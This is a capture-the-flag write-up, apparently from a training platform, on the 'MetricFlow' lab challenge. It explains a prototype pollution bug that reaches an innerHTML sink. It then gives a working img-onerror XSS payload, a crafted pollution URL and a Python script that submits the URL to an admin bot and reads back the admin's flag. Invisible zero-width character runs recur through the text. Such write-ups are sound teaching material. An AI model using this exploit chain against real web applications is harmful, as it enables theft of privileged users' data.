← Back to Writeups
CUSTOMMediumWeb

MetricFlow — DOM XSS via Prototype Pollution Gadget

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#client_side_prototype_pollutio#data_exfiltration_via_shared_a#dom_xss_via_innerhtml_gadget#img_onerror_xss_bypass

MetricFlow — DOM XSS via Prototype Pollution Gadget

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_exploitation, client_side_prototype_pollution_via_url_params, data_exfiltration_via_shared_api, dom_xss_via_innerhtml_gadget, img_onerror_xss_bypass

Summary

Task: Analytics dashboard with client-side widget rendering; deepSet() parses URL query params with bracket notation without filtering proto. Solution: Prototype pollution via proto[headerTemplate] injects HTML into innerHTML gadget in renderWidget(), achieving DOM XSS to exfiltrate admin flag via shared notes API.

MetricFlow — DOM XSS via Prototype Pollution Gadget — HackAdvisor

Description

MetricFlow is a real-time analytics dashboard platform built by FlowMetrics Inc. Teams use it to create custom dashboards with configurable widgets — counters, charts, tables, and activity feeds — to track KPIs and share insights across the organization. The platform features a rich client-side rendering engine that powers the dashboard widgets. Users can customize display settings, create multiple dashboards, add annotations, and manage their widget library. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A dashboard application with client-side widget rendering. Users can customize widgets and share dashboards. An admin bot visits user-submitted URLs via a /report endpoint. The goal is to achieve XSS in the admin's browser and exfiltrate the flag from /api/admin/flag.

Credentials: user@test.com / password123

Analysis

Application Architecture

  • Backend: Express.js (Node.js)
  • Key endpoints:
    • /dashboard — main dashboard page, loads widgets via client-side JS
    • /api/admin/flag — returns the flag (admin-only)
    • /api/admin/users, /api/admin/config — other admin endpoints (found via robots.txt)
    • /api/notes — shared notes API, accessible to all authenticated users
    • /report — submit a URL for the admin bot to visit
  • Key JS files: /js/utils.js (query parsing), /js/dashboard.js (widget rendering)
  • Decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML comments and divs — must be ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: Prototype Pollution in utils.js

The deepSet() function parses URL query parameters using bracket notation but does not filter dangerous keys like __proto__ or constructor:

javascript
function deepSet(target, path, value) {
    var keys = path.replace(/\]/g, '').split('[');
    var current = target;
    for (var i = 0; i < keys.length - 1; i++) {
      var key = keys[i];
      if (typeof current[key] !== 'object' || current[key] === null) {
        current[key] = {};
      }
      current = current[key];
    }
    current[keys[keys.length - 1]] = value;
    return target;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The parseQueryConfig() function calls deepSet() on every URL parameter:

javascript
function parseQueryConfig() {
    var config = {};
    var search = window.location.search.substring(1);
    if (!search) return config;
    var pairs = search.split('&');
    for (var i = 0; i < pairs.length; i++) {
      var pair = pairs[i].split('=');
      if (pair.length === 2) {
        var key = decodeURIComponent(pair[0]);
        var value = decodeURIComponent(pair[1]);
        deepSet(config, key, value);
      }
    }
    return config;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When the URL contains ?__proto__[headerTemplate]=PAYLOAD:

  1. deepSet splits the key into ["__proto__", "headerTemplate"]
  2. It traverses config.__proto__ — which is Object.prototype (since typeof config.__proto__ is 'object')
  3. It sets Object.prototype.headerTemplate = PAYLOAD
  4. Every object in the JavaScript runtime now has headerTemplate in its prototype chain

Vulnerability 2: DOM XSS Gadget in dashboard.js

The renderWidget() function checks for a headerTemplate property on each widget and uses innerHTML to render it: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
function renderWidget(widget, container) {
    var card = document.createElement('div');
    // ...
    var header = document.createElement('div');
    header.className = 'widget-header';

    if (widget.headerTemplate) {
      header.innerHTML = widget.headerTemplate;  // ← SINK: innerHTML injection
    } else {
      header.textContent = widget.title;
    }
    card.appendChild(header);
    // ...
}

No widget in the dashboard data actually has a headerTemplate property. However, after prototype pollution, Object.prototype.headerTemplate is set, so widget.headerTemplate resolves to the polluted value via the prototype chain. This value is injected into the DOM via innerHTML for every widget rendered on the page. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain Summary

URL query param → deepSet() → Object.prototype.headerTemplate polluted
                                        ↓
renderWidget() → widget.headerTemplate (from prototype) → innerHTML → DOM XSS
                                        ↓
XSS payload → fetch(/api/admin/flag) → exfiltrate to /api/notes

Solution

Step 1: Craft the XSS Payload

Since innerHTML does not execute <script> tags, use an <img> tag with onerror handler. The payload fetches the admin flag and writes it to the shared notes API: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

html
<img src=x onerror="fetch('/api/admin/flag').then(r=>r.json()).then(d=>fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'xss',content:JSON.stringify(d)})}))">

Step 2: Build the Prototype Pollution URL

/dashboard?__proto__[headerTemplate]=<img src=x onerror="fetch('/api/admin/flag').then(r=>r.json()).then(d=>fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'xss',content:JSON.stringify(d)})}))">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Submit to Admin Bot

python
#!/usr/bin/env python3
import requests
import urllib.parse

BASE = "https://2bead4eb-c613-4c00-b8f2-e61a670a40e4.labs.hackadvisor.io"
session = requests.Session()

# Login
session.post(f"{BASE}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Build XSS URL with prototype pollution
payload = (
    '<img src=x onerror="fetch(\'/api/admin/flag\')'
    '.then(r=>r.json())'
    '.then(d=>fetch(\'/api/notes\',{method:\'POST\','
    'headers:{\'Content-Type\':\'application/json\'},'
    'body:JSON.stringify({title:\'xss\',content:JSON.stringify(d)})}))">'
)
encoded_payload = urllib.parse.quote(payload, safe='')
xss_url = f"{BASE}/dashboard?__proto__[headerTemplate]={encoded_payload}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Submit URL to admin bot
resp = session.post(f"{BASE}/report", json={"url": xss_url})
print(f"Report submitted: {resp.status_code}")

Step 4: Retrieve the Exfiltrated Flag

python
import time
time.sleep(5)  # Wait for admin bot to visit the URL

notes = session.get(f"{BASE}/api/notes").json()
for note in notes:
    if note.get("username") == "admin":
        print(f"Flag: {note['content']}")
        break

Output:

json
{"id": 8, "title": "xss", "user_id": 1, "content": "{\"flag\":\"FLAG{REDACTED}\"}", "username": "admin"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍